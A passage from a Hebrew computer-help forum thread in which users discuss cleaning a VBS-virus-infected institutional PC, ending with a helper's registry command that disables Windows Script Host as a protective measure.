                                השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                @תלמידהון
                                כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                ת מנותק
                                ת מנותק
                                תלמידהון
                                כתב נערך לאחרונה על ידי
                                #21

                                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                                תגובה 1 תגובה אחרונה
                                1
                                • ר רנדומלי

                                  @מתכנת-חובב
                                  השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                  כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                  @תלמידהון
                                  כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                  מתכנת חובבמ מנותק
                                  מתכנת חובבמ מנותק
                                  מתכנת חובב
                                  מדריכים
                                  כתב נערך לאחרונה על ידי מתכנת חובב
                                  #22

                                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                  בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                  לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                  תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                  ר תגובה 1 תגובה אחרונה
                                  0
                                  • מתכנת חובבמ מתכנת חובב

                                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                    בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                    לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                    תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                    ר מנותק
                                    ר מנותק
                                    רנדומלי
                                    כתב נערך לאחרונה על ידי
                                    #23

                                    @מתכנת-חובב
                                    תהיה מוכן להסביר לי איך אני מכבה VBS?

                                    זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                    מתכנת חובבמ תגובה 1 תגובה אחרונה
                                    0
                                    • ר רנדומלי

                                      @מתכנת-חובב
                                      תהיה מוכן להסביר לי איך אני מכבה VBS?

                                      זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                      מתכנת חובבמ מנותק
                                      מתכנת חובבמ מנותק
                                      מתכנת חובב
                                      מדריכים
                                      כתב נערך לאחרונה על ידי
                                      #24

                                      @רנדומלי תריץ את זה כמנהל

                                      reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                                      

                                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                      תגובה 1 תגובה אחרונה
                                      2

                                      • התחברות

                                      • אין לך חשבון עדיין? הרשמה

                                      • התחברו או הירשמו כדי לחפש.
                                      • פוסט ראשון
                                        פוסט אחרון
                                      0
                                      • חוקי הפורום
                                      • פופולרי
                                      • לא נפתר
                                      • משתמשים
                                      • חיפוש גוגל בפורום
                                      • צור קשר